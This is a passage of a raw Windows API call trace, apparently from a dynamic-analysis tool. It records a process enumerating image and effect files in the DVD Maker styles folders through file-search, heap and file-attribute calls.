ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x559, dwReserved0=0x0, dwReserved1=0x0, cFileName="notes-static.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 1 [0067.009] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae0342, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72ae0342, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x505, dwReserved0=0x0, dwReserved1=0x0, cFileName="play-static.png", cAlternateFileName="")) returned 0 [0067.009] GetLastError () returned 0x12 [0067.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0067.009] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0067.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0067.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ecb0968, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ecb0968, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b5ea6a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackRectangle.bmp", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_glass.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebf2297, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebf2297, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebcc13a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ebcc13a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="circleround_videoinset.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edbb2f3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6edbb2f3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c53d379, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6a91, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e990cc7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e990cc7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="circle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf26, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureA.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ede1450, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ede1450, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c7063e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_SelectionSubpictureB.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea030de, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea030de, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cloud_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9fff39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5c9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dot.png", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee799c4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee799c4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4cb30a29, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x422c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DvdTransform.fx", cAlternateFileName="")) returned 1 [0067.010] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlipPage", cAlternateFileName="")) returned 1 [0067.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0067.010] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.014] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0067.014] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0067.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa12138 [0067.015] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa12138, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa12138, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0067.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa12138) returned 1 [0067.015] NtClose (Handle=0x170) returned 0x0 [0067.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0067.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0067.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0067.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08640 [0067.015] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0068.063] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.063] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe188e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe188e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d408 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e4c0 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe3ea46, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe3ea46, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d428 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e5c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fed6fba, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fed6fba, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d448 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e6d0 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d019747, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d468 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e7d8 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6feb0e5d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6feb0e5d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d488 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e8e0 [0068.065] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xc40) returned 0x9fa458 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa11530) returned 1 [0068.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.065] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d4a8 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0e9e8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe64ba3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe64ba3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d4c8 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0eaf0 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe8ad00, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fe8ad00, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.066] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d4e8 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ebf8 [0068.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa0d508 [0068.067] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ed00 [0068.067] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdf278c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdf278c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d03f8a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagecurl.png", cAlternateFileName="")) returned 0 [0068.067] GetLastError () returned 0x12 [0068.067] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.067] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.067] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", 